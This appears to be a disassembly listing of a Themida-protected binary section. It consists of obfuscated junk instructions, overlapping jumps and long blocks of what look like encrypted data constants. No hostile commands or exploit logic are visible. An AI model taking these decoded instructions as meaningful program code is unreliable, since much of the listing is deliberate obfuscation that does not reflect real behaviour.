mov eax, eax
jmp short loc_5FCE1E
; ---------------------------------------------------------------------------
dd 0B5D754DBh, 7E334F45h, 4537861Bh
db 0C9h, 8Ah
; ---------------------------------------------------------------------------
loc_5FCE1E: ; CODE XREF: Themida_:005FCE0Ej
dec dl
or al, 6Dh
push cs
loc_5FCE23: ; CODE XREF: Themida_:005FCE47j
test al, 0E3h
in eax, 4Ah
mov cl, [ebx+72h]
push cs
test al, 0ABh
aad 0EAh
jnz short near ptr loc_5FCE53+1
jb short loc_5FCE41
test al, 0E9h
cli
dec edx
mov bh, [edx+4657AE5Dh]
sti
dec edx
mov dl, [ebx]
loc_5FCE41: ; CODE XREF: Themida_:005FCE31j
jnb short near ptr loc_5FCE4F+2
test al, 0ABh
aad 0EAh
jnz short loc_5FCE23
jnb short loc_5FCE59
test al, 0B4h
sti
dec edx
loc_5FCE4F: ; CODE XREF: Themida_:loc_5FCE41j
mov ah, [eax+esi*2+0Eh]
loc_5FCE53: ; CODE XREF: Themida_:005FCE2Fj
test al, 36h
clc
dec edx
mov bl, dh
loc_5FCE59: ; CODE XREF: Themida_:005FCE49j
jo short near ptr loc_5FCE68+1
test al, 0ABh
aad 0EAh
jnz short loc_5FCE86
das
aam 16h
inc cl
adc al, [ebx]
loc_5FCE68: ; CODE XREF: Themida_:loc_5FCE59j
sal byte ptr [edi], 0F8h
inc ebx
push ebx
cmpsd
nop
cmpsb
out dx, al
dec ecx
push esi
and ecx, edx
mov bl, 0BCh
popa
inc edx
das
aam 2Bh
inc ecx
adc al, [ebx]
sar byte ptr [edi], 0F8h
inc ebx
push ebx
cmpsd
loc_5FCE86: ; CODE XREF: Themida_:005FCE5Fj
nop
push ecx
out dx, al
dec ecx
push esi
and ecx, edx
; ---------------------------------------------------------------------------
db 8Fh, 0BCh, 61h
dd 9AD42F42h, 312C1F8h, 43F80BC0h, 0D90A753h, 215649E9h
dd 61BC9BD1h, 63D42F42h, 312C1F8h, 43F817C0h, 9E90A753h
dd 215649E8h, 61BC97D1h, 0FDD42F42h, 312C1F9h, 43F863C0h
dd 1C90A753h, 215649E8h, 61BCEFD1h, 7FD42F42h, 312C1F9h
dd 43F86BC0h, 9A90A753h, 215649EBh, 61BCE7D1h, 12B8C342h
dd 0DF152A50h, 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 206DC0D5h
dd 0ED96A5AEh, 8A152AA8h, 0A0242945h, 0B496E367h, 0A1D5ADBAh
dd 0CB152A54h, 415564C6h, 75EAD5BAh, 3AAE63CEh, 8DF106A9h
dd 0AB534284h, 0FFEA2211h, 0A4245D55h, 0CF9C3AABh, 0EDDAC3B9h
dd 86D7E3A8h, 44DAF745h, 0EAE9EED7h, 2359D7CEh, 0CFD22629h
dd 0A851A2B9h, 62AD6C54h, 351A241h, 27BFEA66h, 0DDDB2FEEh
dd 7512C136h, 2011294h, 0E860A0D9h, 79AEA5AEh, 0AE51A1ECh
dd 22DC0941h, 8DFE4821h, 103773BAh, 21732ADFh, 0CA2428C8h
dd 5BEA2DBFh, 8C152BFDh, 988150h, 0AFBAC030h, 0D2A5FBABh
dd 0A42C89EFh, 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh
dd 8AFD4AA8h, 0F251A245h, 212DC0D5h, 0DDDAA5AEh, 8668A15Ch
dd 0A8ADE782h, 0CC152A54h, 8FCC30BAh, 529E2DB0h, 83FC69CEh
dd 0E2A5B997h, 0F9FA31EFh, 0E860A0D9h, 79AEA5AEh, 20949A0Dh
dd 8C551A23h, 21848132h, 215DDF6Eh, 174D629h, 6A985E00h
dd 1402A5Ch, 549521A9h, 8A15C234h, 290BA245h, 61BEA5BEh
dd 0A0242942h, 4D1957DFh, 0A8515E00h, 75532A54h, 4C763FD7h
dd 19CDA153h, 9BFC69CEh, 0E2A5B997h, 0F9FA31EFh, 0E860A0D9h
dd 79AEA5AEh, 20949A0Dh, 8C651A23h, 21848132h, 215DDF6Eh
dd 174D629h, 6A985E00h, 1402A5Ch, 549521A9h, 8260A134h
dd 6F5DDFCEh, 8A15D611h, 3BFDA245h, 0B91DC995h, 4919197h
dd 4A38F2DEh, 2851A245h, 0E1AD5A8h, 0A851A25Eh, 8A1523EDh
dd 2DA05545h, 86902586h, 2851A245h, 4B7332A3h, 2337AA8Eh
dd 0A1BE4C97h, 0D5D8AE38h, 0CF9E4BA8h, 0A0936BB9h, 669E7F54h
dd 0C8AD66C6h, 11D5FDFh, 0ED96AE38h, 8A152AA8h, 69C20E45h
dd 582622B7h, 22FD6276h, 8AD5078Ch, 54D1A245h, 939125ABh
dd 1151A245h, 8A152A5Dh, 7AD453B2h, 8A1FAF5Bh, 10E0A245h
dd 4B93E256h, 39191EFh, 319577Fh, 23305E38h, 48DCD611h
dd 2304A24Dh, 76D1A9B8h, 0A0242925h, 4D1957DFh, 0A8515E00h
dd 0B92A54h, 0A7B2229Dh, 85E1D4h, 22DC0886h, 8DFE4821h
dd 0F8E173BAh, 0FF9FA7FEh, 57564927h, 20D6A085h, 215DDF6Eh
dd 174D629h, 6A985E00h, 1402A5Ch, 549521A9h, 8260A134h
dd 6F5DDFCEh, 8A15D611h, 0AFE9A245h, 75152A54h, 4C7D5FD7h
dd 20452653h, 0CA2428C8h, 5BEA2DBFh, 9BFB2BF5h, 85318694h
dd 0AC59622Eh, 0AEA58050h, 0A42C89EFh, 0EBE957DDh, 61ADE7CEh
dd 0DF152296h, 6CD24ECEh, 0FF9E4AA8h, 0A42C294Dh, 8AE96F93h
dd 451A245h, 1787D5FEh, 23564662h, 4917868Ch, 0DDDB2FEFh
dd 7512C136h, 28E9C494h, 0BE4CBDh, 0D57A0886h, 7668A358h
dd 54142924h, 8A1DE89Dh, 2BBD2910h, 175D690h, 0D5DAAA30h
dd 7650ED58h, 0A851A245h, 18EA80F8h, 0AFB585D8h, 58B9E2DFh
dd 32DC0885h, 8DFE4821h, 103771BAh, 2173E394h, 83FB63CFh
dd 0F79C2629h, 0EDDAC3B9h, 82D7E3A8h, 44DAF745h, 0EAE9EED7h
dd 2359D7CEh, 0CFD22629h, 0A851A2B9h, 75BF8654h, 4C763FD7h
dd 26DDA153h, 25FB6377h, 61775FCEh, 0CE825D42h, 0ECE4AAECh
dd 29028EEh, 319577Fh, 23305E38h, 48DCD611h, 2304A24Dh
dd 76D1A9B8h, 0A0242925h, 4D1957DFh, 0A8515E00h, 32732A54h
dd 3376B77h, 0E860B0D9h, 7BAEA5AEh, 4B959232h, 4FD0923h
dd 866801FEh, 0C9ADDFCCh, 43E96FDFh, 0FD51AA87h, 4E96C6DFh
dd 0DDDAC2B9h, 8668A15Ch, 0A8ADE782h, 0EC152A54h, 0CEB824FDh
dd 0FF8FA7FFh, 57564927h, 20A09A87h, 25FB0E03h, 61775FCEh
dd 0CE825D42h, 0ECD8ACECh, 0A42C89EEh, 0EBE957DDh, 61ADE7CEh
dd 0DF152296h, 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 2475C0D5h
dd 0ED96A5AEh, 8A152AA8h, 0A0242945h, 261957DFh, 2C5E9179h
dd 8A152A1Eh, 2C5E8979h, 8A152A16h, 2C5ECA79h, 8A152A49h
dd 2C5E1379h, 8A152A38h, 2A5EF279h, 8A152A5Ch, 2A5EFA79h
dd 8A152A6Bh, 0A851D6ACh, 8660D554h, 2559D7BAh, 61BCBFCEh
dd 32DCF142h, 8DFE8038h, 0EDD871BAh, 8A42C3A8h, 0DDAEA245h
dd 8260D558h, 1F438C8h, 7462DBFh, 43FBCEDFh, 3C6D553h
dd 92B85E00h, 75152A54h, 0DDAEAE30h, 3B8FA75Ch, 0FB5649ECh
dd 2079B0D9h, 7BAEA5AEh, 63E96FDDh, 0A851A258h, 75195FABh
dd 32DCAA30h, 8DFE83E9h, 0C4CB2F16h, 7512C1FEh, 54142B96h
dd 8A152ABDh, 0EDDAC345h, 82D7E3A8h, 3044BA45h, 9D8D0000h
dd 7E40F49h, 2490B8h, 0F5858900h, 0E807E400h, 0
; ---------------------------------------------------------------------------
pop eax
add eax, 0Dh
mov [ebx], eax
jmp loc_5FF869
; ---------------------------------------------------------------------------
byte_5FD3D9 db 3 dup(0) ; DATA XREF: Themida_:005833D4o
dd 921h dup(0)
db 0
byte_5FF861 db 3 dup(0) ; DATA XREF: Themida_:00583D74o
dd 0
db 0
; ---------------------------------------------------------------------------
loc_5FF869: ; CODE XREF: Themida_:005FD3D4j
jmp short loc_5FF877
; ---------------------------------------------------------------------------
db 3Dh
dd 1C106C7Fh, 17575FEDh
db 0DDh, 3Dh, 0Ah
; ---------------------------------------------------------------------------
loc_5FF877: ; CODE XREF: Themida_:loc_5FF869j
jmp loc_5FFE2C
; ---------------------------------------------------------------------------
jmp loc_5FFE25
; ---------------------------------------------------------------------------
db 4Ch, 74h, 52h
dd 0AFCFA8BEh, 0F29051Bh, 7286657Bh, 0D1EDC8DEh, 0C59E643Dh
dd 243ACEEAh, 82982C4Ah, 0E4FA8EA4h, 0A85BEF07h, 73847BF8h
dd 0D5213A9h, 6179567Eh, 677D5B29h, 6987612Fh, 6C886331h
dd 0C340A234h, 1442A03Ch, 20F42A9Ah, 4813C641h, 0E8C3DDEFh
dd 0E7C694CCh, 0F19660CCh, 86DF9BFDh, 8AA4804Eh, 8BAB8452h
dd 9B137C53h, 39CDCE4Bh, 188113A9h, 354D2AC8h, 0B38F5D23h
dd 13EF0599h, 4914C1F9h, 38042EE6h, 0B8948BBBh, 0A4EB0A9Eh
dd 0A63DBA0Ah, 0F40CC50Bh, 23C1538Bh, 5CF72F45h, 0C8DAF4D0h
dd 26BAD0AEh, 0FCD7DA4Ch, 435A3B84h, 23391731h, 99283EEBh
dd 58D563A9h, 3D53312Ch, 0A2058AA9h, 0C0B59278h, 81D12AECh
dd 0DCDDA21Fh, 10796C4Eh, 0E1A320FEh, 0AF6BAAC1h, 0C61F3513h
dd 3A1EE18Eh, 9CAD6BB2h, 774BB4E8h, 78C606Bh, 0B5000000h
dd 3B89Eh, 0F4922D00h, 0D1EBFD19h, 0D7A5DDF3h, 0C95CDAFBh
dd 953F709h, 0F4473CB9h, 0AA131442h, 0D2DA1951h, 0DD3D5934h
dd 5051529Eh, 43E0F2A2h, 283E1C03h, 455D3AD8h, 3E60720Dh
dd 0FC344A28h, 0A83261Dh, 0EF05E35Ah, 4F69455Bh, 4F6A4917h
dd 0C1B7A120h, 86D62F3Eh, 0BBF30BE8h, 91480E20h, 0B7938ABAh
dd 0BD2F099Dh, 1599EB26h, 0E7D94096h, 0ABE0F959h, 0F4C7C0D2h
dd 1F72D40Dh, 7E942844h, 804E86A4h, 5E7A55A6h, 0FA328B26h
dd 5D3AD896h, 0EE963345h, 6B44956Fh, 1F78134Bh, 81875DCFh
dd 27B1B33Ah, 0E025F315h, 0B4000000h, 3169454Dh, 0EC678663h
dd 2704B3DDh, 5FC1116Ah, 42F41DE2h, 3E50B914h, 102A061Ch
dd 0F4542BD8h, 0C6DE1442h, 15EE7454h, 6CE995B6h, 14429297h
dd 6F81DA43h, 0CFAB92D2h, 310B21B5h, 300DDB13h, 0FF7CE018h
dd 0E0FED847h, 3E5C364Ch, 74127406h, 0A8437B9Bh, 4292463Dh
dd 9D781414h, 0E3C82881h, 40B36C27h, 845F798Bh, 0DCA61868h
dd 5231217Eh, 0E49B6173h, 0B022590Dh, 3EA49D4Bh, 5A748676h
dd 0F4CE6280h, 4E607A56h, 53D5934h, 45232826h, 4B29F72Fh
dd 0F7BEFD35h, 30D4034Fh, 63AA51CEh, 0AC291442h, 144263D7h
dd 60C91A83h, 8AF5B14Eh, 6A8460AFh, 89677D11h, 9688C56Ch
dd 0B30CCCE0h, 6E4BE97Bh, 0B14B4456h, 501442FCh, 31121C8Eh
dd 0E6EE6043h, 4F61815Ah, 0AD8BF2B2h, 56320397h, 4875B78h
dd 0E3487736h, 0BF9C3A8Ah, 0C2D46FA7h, 3A502EFCh, 3B5B3402h
dd 42563503h, 4004CB0Ah, 1B4B1410h, 9C304624h, 426509A7h
dd 0FC024F14h, 0DBE05B57h, 0FFFFFEE8h, 6C424D04h, 0B9F59F1Ch
dd 0FF9B13A6h, 36D10923h, 0FAD7A5DDh, 7B2092E2h, 0F4CEB444h
dd 0EC022436h, 0F1BFF70Fh, 4CAEFE12h, 0A6F628CFh, 2B3DA613h
dd 0C0840165h, 5835805Dh, 3D53E740h, 63104860h, 13A6F699h
dd 0D883C38Ch, 340E613Ah, 91ABBD16h, 768A69B4h, 11AF891Dh
dd 4AE51D33h, 0B4C6E4BEh, 6DA5BD9Ah, 65B5F996h, 0F6F18603h
dd 482213A6h, 633DD92Ah, 19720D45h, 55C72907h, 7466ACC3h
dd 352E40E2h, 1442BE73h, 6A44D841h, 88D8EECCh, 8A80740Bh
dd 6779E21Bh, 13634B44h, 61530D96h, 0D5B4521Ch, 0FF471C1h
dd 0CB03F154h, 11715062h, 0F154EF94h, 0F6CF6B03h, 0AA039ED6h
dd 6D4B1951h, 0D52E4824h, 44D2B41h, 0E7FDDB28h, 50FD358Eh
dd 14710F8Dh, 0AB92D299h, 89FEB0CDh, 22287B57h, 0E5CCB1Fh
dd 0E16DC68Eh, 4494ED03h, 367AC5D2h, 0D2E14159h, 6082940Eh
dd 1A52704Ah, 8586E4Ch, 5F71916Ah, 3BADFF99h, 0FE2BC0BCh
dd 0EDC8541Eh, 0ECFE99D1h, 0F264174Fh, 66100D33h, 99748636h
dd 0B1280766h, 0AA51CE30h, 0ED3B76A6h, 3DA6F711h, 0C38C2Bh
dd 92B50000h, 0A10115F4h, 0F37F3744h, 0C5DFF129h, 0A7CCCECh
dd 5F8F0282h, 0B02D7D2Ah, 144263CBh, 0EA0C1E87h, 4ADEF8D4h
dd 0AAF5D270h, 0E47FB7CBh, 0A6B8538Bh, 4999AD8Ch, 0A6B8CCABh
dd 44936E84h, 60F44D69h, 0BF536F4Ah, 1DB1CFA9h, 7F132907h
dd 0E0748C69h, 718D6806h, 0CBD19739h, 0C742D7F8h, 67425C6Eh
dd 7E5DFB4Bh, 8597326Ah, 0EEBC54BFh, 0AC1F911h, 6C1390F2h
dd 0EA1442F7h, 92D26F81h, 0FCADD0ABh, 2E1E4F64h, 902B63BCh
dd 453AB767h, 11144265h, 0DFBA58A8h, 0DEF08BC3h, 0EB7109BCh
dd 79h, 8AFCC67Ah, 546FB262h, 0CA2C2B1Bh, 4F50597Bh, 72906AF6h
dd 948D9F3Ah, 1442B3ECh, 0A433734Ah, 5D7D5613h, 0FC879B0Dh
dd 562FEAB6h, 465B61F6h, 0E8FA2D6Eh, 0BAD4B0C6h, 1D311026h
dd 7C987389h, 0DBF7D2E8h, 39573147h, 9BB18FA5h, 0C914F107h
dd 19CD4ECh, 1E4614A8h, 0CC000000h, 0FF37532Eh, 8D7D5264h
dd 0A156D335h, 0F21442A0h, 39A9FA18h, 5D392DCEh, 6476CF22h
dd 5C7E568Fh, 61795624h, 677D5B29h, 6987612Fh, 6C886331h
dd 6F8B6634h, 768A6937h, 7A94703Eh, 7B9B7442h, 5452EE43h
dd 4C2815Ah, 83000000h, 148704EAh, 0CF685C24h, 89000056h
dd 0A868242Ch, 8900005Dh, 0C9BD2414h, 556D2A16h, 5D2404FFh
dd 81DDF74Dh, 3E3AC1F5h, 4EC8195h, 89000000h, 4832424h
dd 555A0424h, 0FF243481h, 8F25D102h, 0B8500842h, 25D102FFh
dd 58084231h, 5A2434FFh, 4C481h, 34FF0000h, 0C4835D24h
dd 0A46DE904h, 7AF0FFF8h, 336C8E63h, 21E24685h
db 38h
; ---------------------------------------------------------------------------
loc_5FFE25: ; CODE XREF: Themida_:005FF87Cj
mov eax, 7EBD923h
add eax, ebp
loc_5FFE2C: ; CODE XREF: Themida_:loc_5FF877j
mov edx, ebx
call near ptr loc_5FFE39+1
db 67h
dec esp
db 66h
xlat
cmpsd
push ebx
loc_5FFE39: ; CODE XREF: Themida_:005FFE2Ep
add ebp, eax
adc eax, [eax]
; ---------------------------------------------------------------------------
db 2 dup(0), 0A8h
dd 0C2131F23h, 513FDDB8h, 0C129A97Eh, 0AE54A47Bh, 0EFB6316Bh
dd 0B70F5E5Bh, 88C681D9h, 66000063h, 2B9DFFBAh, 8B92B7C9h
dd 60600E3Ch, 0F38B5A53h, 0F00FB961h, 81610250h, 0CD6BA8F7h
dd 8E927h, 8E8A0000h, 0B25C3D75h, 0F7812EC1h, 672E0233h
dd 0F781CAB2h, 11E89361h, 0E72CD381h, 8A57798Fh, 0E048FFCh
dd 0FE9F5h, 0AE6D0000h, 0C33D52A2h, 5008639Ch, 0A0F23D3Bh
dd 4E98302h, 49D88166h, 64F981E7h, 0FFFFF9Dh, 1885h, 68D08100h
dd 0E903A979h, 4Bh, 0BC67F2BAh, 0E5D9117Bh, 374A9339h
dd 0DE856D9h, 0C2000000h, 252A857Fh, 837A10B2h, 116A789Ah
dd 0CE9h, 0B269E000h, 0A2180F2Ch, 0D1C77A8Ch, 0E95B5AC0h
dd 0FFFFFF57h, 31D4AB2Ch, 17C0E191h, 6EC387DBh, 1B141801h
dd 0E92DE1D4h, 2Ah, 2404C7h, 0E8000000h, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 7EBDAA9h
mov eax, [esp+4]
mov [ebp+7E403ADh], eax
mov eax, 0
lea ecx, [ebp+7E44FE7h]
jmp ecx
; ---------------------------------------------------------------------------
mov eax, 6754h
lea ecx, [ebp+7EBDB95h]
jmp loc_5FFF6A
; ---------------------------------------------------------------------------
dw 2AAh
dd 4DA06374h
db 40h, 71h
; ---------------------------------------------------------------------------
loc_5FFF6A: ; CODE XREF: Themida_:005FFF5Dj
mov [ebp+7E41B71h], ecx
mov [ebp+7E40B1Dh], ebx
mov dword ptr [ebp+7E42DA1h], 6F24h
push 0
push edi
call sub_5FFF8B
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5FFF8B proc near ; CODE XREF: Themida_:005FFF83p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 19h
inc edi
push edi
retn
sub_5FFF8B endp
; ---------------------------------------------------------------------------
db 0BFh
dd 87E4D3BBh, 0AE882h
db 2 dup(0)
word_5FFFA6 dw 0EE66h ; DATA XREF: Themida_:005847ACo
; ---------------------------------------------------------------------------
cld
wait
mov ds:257DA5BDh, al
or eax, [ebx]
popf
cmp [esp], eax
pop es
pop edx
mov [ebp+7E42321h], edx
mov dword ptr [ebp+7E422B9h], 0
mov ebx, [ebp+7E42D11h]
push dword ptr [ebp+7E42BF1h]
jmp loc_5FFFDF
; ---------------------------------------------------------------------------
dd 0A8921E05h
db 67h, 0F2h, 72h
; ---------------------------------------------------------------------------
loc_5FFFDF: ; CODE XREF: Themida_:005FFFD3j
jnp loc_5FFFEB
mov esi, [ebp+7E42289h]
loc_5FFFEB: ; CODE XREF: Themida_:loc_5FFFDFj
call dword ptr [ebp+7E43061h]
push 0
push ecx
call sub_5FFFFC
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5FFFFC proc near ; CODE XREF: Themida_:005FFFF4p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
loc_600001: ; DATA XREF: Themida_:00584E84o
add [esp-4+arg_4], 14h
inc ecx
push ecx
retn
sub_5FFFFC endp
; ---------------------------------------------------------------------------
dd 6810FA2h, 81000000h, 5B306BCBh, 0FF006A27h, 0E40E4195h
dd 0EBC08B07h, 0F5ABDB1Ah, 0CC493E19h, 0B764E5D2h, 5C9E4910h
dd 0D3A80EE5h, 87EFA7E3h, 0E9681227h, 19h, 3596946Ch, 5 dup(0)
dd 0D3CE900h, 0E8680000h, 0E907EBDDh, 0FFF8A21Bh, 0EBDF0068h
dd 0A211E907h, 0B868FFF8h, 0E907EBDFh, 0FFF8A207h, 0EBE02568h
dd 0A1FDE907h, 6568FFF8h, 0E907EBE3h, 0FFF8A1F3h, 0EBE6B868h
dd 0A1E9E907h, 0AE68FFF8h, 0E907EBE7h, 0FFF8A1DFh, 0E5799B73h
dd 42D6F6CFh, 0A236502Ch, 599AD8Ch, 64F814EFh, 11EC658Bh
dd 714B61F5h, 0CBA9BF53h, 2E0B21B5h, 1FCF8216h, 0A97CDDA2h
dd 0A5347913h, 0F5F7B56h, 457D9371h, 4D298AAh, 5D7C1026h
dd 566A4932h, 320FADFDh, 0AD2A081Ah, 13A6B4B7h, 97447CE5h
dd 13A6B5E4h, 38542Fh, 73F5332h, 327E26A3h, 0E19DC9DAh
dd 0D878081Eh, 3FB7h, 424DE000h, 819F1C6Ch, 0D013A6A1h
dd 293B5732h, 17A9E14Ah, 49819F79h, 0D8A39CAEh, 3B13A6A2h
dd 3C0A4262h, 560D4561h, 6484C77Fh, 23966530h, 9EAF0760h
dd 1549B6E6h, 78ED877h, 0B7000000h, 8A29Eh, 79562D00h
dd 0A016ED6Ah, 5BC41442h, 1FFCCA02h, 27997307h, 59B4576Dh
dd 98B28E26h, 850A2D3Fh, 525CD929h, 2013A6F5h, 29D27FB7h
dd 9E13A6FAh, 5AA5D98Dh, 7BD877C3h, 20h, 6C424DA4h, 0A9E99F1Ch
dd 3EA713A6h, 0AAA65906h, 142513A6h, 7D32C50h, 0FD04D878h
dd 2D000000h, 11617956h, 18BAE19Fh, 0B5943697h, 75CE69A1h
dd 6D0B9D63h, 6F3D7593h, 0A43F7795h, 441F394Bh, 4522F028h
dd 0F163F52Dh, 137FFBA4h, 0E5FF11D1h, 54B2E908h, 826B108Dh
dd 7EE71442h, 40ACF1Eh, 11468745h, 0EB449D4Bh, 9E1B7D57h
dd 14424CD9h, 1FA0C75h, 1442489Eh, 34849C79h, 2AA7BC96h
dd 14425155h, 0B33F9801h, 88AABCD8h, 457D9572h, 223615B3h
dd 0CA2ED10h, 45C53FBCh, 1A8C13A6h, 51CED191h, 13A7F6AAh
dd 565FBF28h, 23021471h, 0F0CC6ABAh, 83A2C4D6h, 0D552A20Ch
dd 1441D1DAh, 7DDF2F98h, 0D9EB01DFh, 34C8E4BFh, 0D327431Eh
dd 62359E2Ch, 7D850B4Bh, 3E00000Ah, 9AB04466h, 0F70DA1C1h
dd 576D011Bh, 0BAD06478h, 562FC3DFh, 0C0DCB790h, 1E3C162Ch
dd 8096748Ah, 0E1F9D6ECh, 6DEA9A4Dh, 13A97D96h, 5670FF44h
dd 0B5CB5F7Bh, 67AE8DD8h, 0DE166F8Dh, 8556EA43h, 1C6C424Dh
dd 0A6A9E99Fh, 63EA713h, 56930274h, 455C23A0h, 91FA13A6h
dd 0E8B6B931h, 1DB8F00Eh, 0C6B9B2C4h, 8513A65Bh, 0AF54D133h
dd 2B13A65Bh, 5313B0C2h, 7716D42Bh, 0D201D8h, 562A0000h
dd 0D9C15A79h, 48686C6Eh, 0EE9B7EFh, 0C340A2F2h, 14422B3Ch
dd 591F319Ah, 422F33ACh, 0FC472414h, 1CB0091Dh, 0FFDE2906h
dd 835A92EBh, 0D552A20Ch, 13A62453h, 7F19B022h, 0EB860772h
dd 4191FAD9h, 7A93E3CFh, 3AC6E5D2h, 710C445Eh, 0C5633D5Fh
dd 0A9C39FE6h, 457DD671h, 2B3F1EAAh, 1599F619h, 0EAC563C5h
dd 75F496CEh, 6BD256F1h, 1A13257Eh, 14404EBEh, 751363CCh
dd 0CC2E7E9Ah, 884FA84Fh, 0F80CEB1Bh, 0A2C3EA7h, 0A9FD19F4h
dd 62373160h, 6565EB2Bh, 56000009h, 0B2C85C7Eh, 0F25B9D9h
dd 6F851933h, 0D2E87C90h, 6E47DBF7h, 0D8F4CF88h, 36542E44h
dd 98AE8CA2h, 0F911EE04h, 8502B265h, 13A97FFEh, 5688175Ch
dd 0B5CB5F7Bh, 5B2CC0D8h, 29617956h, 0D2667E5Bh, 621996F8h
dd 0F01442A0h, 8617554h, 5948CBF6h, 3BFA74E7h, 0D754CCD5h
dd 14428F20h, 0DAEC45AEh, 86D6D8B7h, 0A6A35B09h, 97A00913h
dd 63CB2C8Ch, 1995FABAh, 0DF24CC9h, 0FF61A20Fh, 0CF0DFD82h
dd 0DEF059ADh, 875E96FFh, 0D956A608h, 0AA28BD81h, 0BFDDB753h
dd 4393EC87h, 1CB0C8A5h, 0FFBAD042h, 20A9AD53h, 0BDCF2846h
dd 5AAEC6A3h, 0B08C92B9h, 0AD20A6E6h, 0E000008h, 6A801436h
dd 0C7DD7191h, 273DD1EBh, 8AA03448h, 26FF93AFh, 90AC87C0h
dd 0EE0CE6FCh, 5066445Ah, 0B1C9A6BCh, 3DBA6A1Dh, 13A97F46h
dd 5640CF14h, 52296179h, 0A421713Dh, 13A6861Ah, 0E17FCF38h
dd 4359ED03h, 6A174F65h, 13A68795h, 0A6975427h, 0D5D9B613h
dd 82AA0885h, 4FB81442h, 546C4917h, 39D41D00h, 0D0569662h
dd 840h, 0ED81A37Bh, 4ADEFED7h, 0AA3E5834h, 0DA1B594h
dd 6C001CF7h, 19F46D93h, 795369FDh, 0D3B1C75Bh, 361329BDh
dd 27D78A1Eh, 0A940D5AAh, 0AD3C8113h, 1C6C424Dh, 0A0463DBAh
dd 0AB141442h, 1A2C401Fh, 0B5E1BF3Ch, 66F13A6h, 72700CEh
dd 263A19B7h, 3DCF214h, 0C1D4ABE3h, 75C5DDBAh, 0A6B503F8h
dd 0D66CF13h, 27451FBDh, 644254EFh, 0A6B528E7h, 558DF613h
dd 0DC9FC79Eh, 3413643Eh, 0FA77C720h, 13A6B505h, 3C5668D1h
dd 0BAAF4363h, 13A6B5C1h, 0EE6B4C49h, 13A6B509h, 1FC5CC5h
dd 172DF25Fh, 0EB68B811h, 13A63738h, 2F2576E6h, 2EEF1A0Ah
dd 71A9C9A2h, 0D3E97DD6h, 0B0CCA7FAh, 9269E678h, 4013A6B9h
dd 0D5257ED7h, 73F5D37h, 0E7945A6Ch, 13A6B9ECh, 908FB78Eh
dd 0ED0397B7h, 0FBCF414h, 13A6BA3Ch, 100F370Eh, 0A9831737h
dd 0E0182C0Bh, 85103345h, 0A25CD929h, 3113A6BAh, 659DB793h
dd 6FD7ACAh, 0D413A6BAh, 0DE7A596Bh, 1A97E703h, 13A6BA65h
dd 0F72F88F1h, 0C7DED84Ah, 586C4B67h, 5A785220h, 6B1BE422h
dd 86BECF27h, 169F29D6h, 169AE64h, 4DD70000h, 0BA1C6C42h
dd 17293D1Ch, 0A6A9141Eh, 81D13A13h, 0E0BB06E3h, 98F18CC4h
dd 0C611EE04h, 0FA95CDEDh, 0A1BC69A1h, 2094E002h, 9F7CE3A3h
dd 0BB993787h, 0C0D26DA5h, 9CAB889Eh, 6815581Fh, 0C7DDBB9Bh
dd 3AA3F48Fh, 0C3D2A9E1h, 624157EBh, 1284164Eh, 0FD6A094Dh
dd 0A5BFD149h, 61CB0C8h, 2CD91129h, 0E9E28A81h, 5CC38300h
dd 0BDD3677Fh, 0B990C8E0h, 995EDBDCh, 3515F7F5h, 0A62373CCh
dd 15F7F5D1h, 0C5D40C7Eh, 5E4FC7E5h, 95306882h, 410CDC3Ch
dd 0B8003EBDh, 0CA5EC7A6h, 85BDD9B4h, 77C7E7AEh, 0F7CA09FAh
dd 5A39D515h, 0FF9DED46h, 0DFF9D524h, 78527486h, 0D0E200DAh
dd 71C1D9B6h, 66E3FAD3h, 15F7CA91h, 437BD43Dh, 0D57148A8h
dd 694075FAh, 61FF9157h, 3E586A86h, 580F4763h, 7D5AC581h
dd 98771565h, 9FB14C84h, 728A677Dh, 7C32633Ah, 0A2C0AF2Ch
dd 0F18F15F7h, 0C753F712h, 0E71C733Ah, 0FBE02E8Eh, 38DCCE35h
dd 4ADE4726h, 73F5734h, 0D455B39h, 0E05F07CEh, 4157EB03h
dd 1C3D1964h, 0B55BD22Ah, 0C2126B1Bh, 0F7EABE45h, 5AB31C15h
dd 75916C0Ah, 0CA90A23Dh, 0BC0CA2F3h, 0F7EAAC3Fh, 69B92215h
dd 0C5D7EDCBh, 99AF8DA3h, 0AC0B8A61h, 0F7EA482Fh, 449D0615h
dd 0EA9077F4h, 0C15F15F7h, 0DCBBCDE3h, 560EDF73h, 0AECD6179h
dd 0F23C6E1h, 0DDDA8DA8h, 21B73484h, 7013A6D0h, 60876BFEh
dd 0E6E36E2Ah, 2C4CACF6h, 0D3B2C424h, 9E7C1A6Ah, 4F297C55h
dd 5A0D831h, 8BAE48A5h, 4CA51E8Fh, 37518AFCh, 73F5332h
dd 0A6400C6Ch, 0E244658h, 0BC0DE730h, 0F691C9DDh, 71CA659Dh
dd 8FA58321h, 0AFE0B77Dh, 8832AFFFh, 0C614428Ah, 0F593255Dh
dd 2DC80018h, 8359221Bh, 0DEB11B8Ah, 801E80D0h, 0B55088A6h
dd 0F60CAAA3h, 0EA5A1C6Eh, 1529F85Ch, 3C5A347Eh, 0B7106904h
dd 0BCD4B17Fh, 55E0BF68h, 42C8085Ah, 500h, 2DC1E3BBh, 8A1E3E17h
dd 0EA7E9874h, 4DE1F5D4h, 0AC405C37h, 59342DD3h, 0B993A93Dh
dd 13F1079Bh, 765369FDh, 6717CA5Eh, 0A94315EAh, 0ED7CC113h
dd 1C6C424Dh, 0A0463DBAh, 78141442h, 14267F9Fh, 80D3B936h
dd 31A113A6h, 0F4D0BFA1h, 889F7ADAh, 0F2D0793h, 2FD17EB6h
dd 9E13A65Ch, 0B9D1AE4Ch, 1F5A0AA7h, 538BA581h, 34CBA6B8h
dd 0A1D87721h, 0DBh, 1AE14FC1h, 4F379278h, 0F1035C70h
dd 17F4921Ch, 3BF4EDFFh, 0EF1442A0h, 3BC03D9Fh, 971442A0h
dd 0A0C5BA37h, 28911442h, 84D8BDCFh, 0DEF00AE6h, 7FCFE7C4h
dd 3CE603E1h, 615C01CCh, 0D1F3055Eh, 7FCFDFB2h, 0B93EBB1Dh
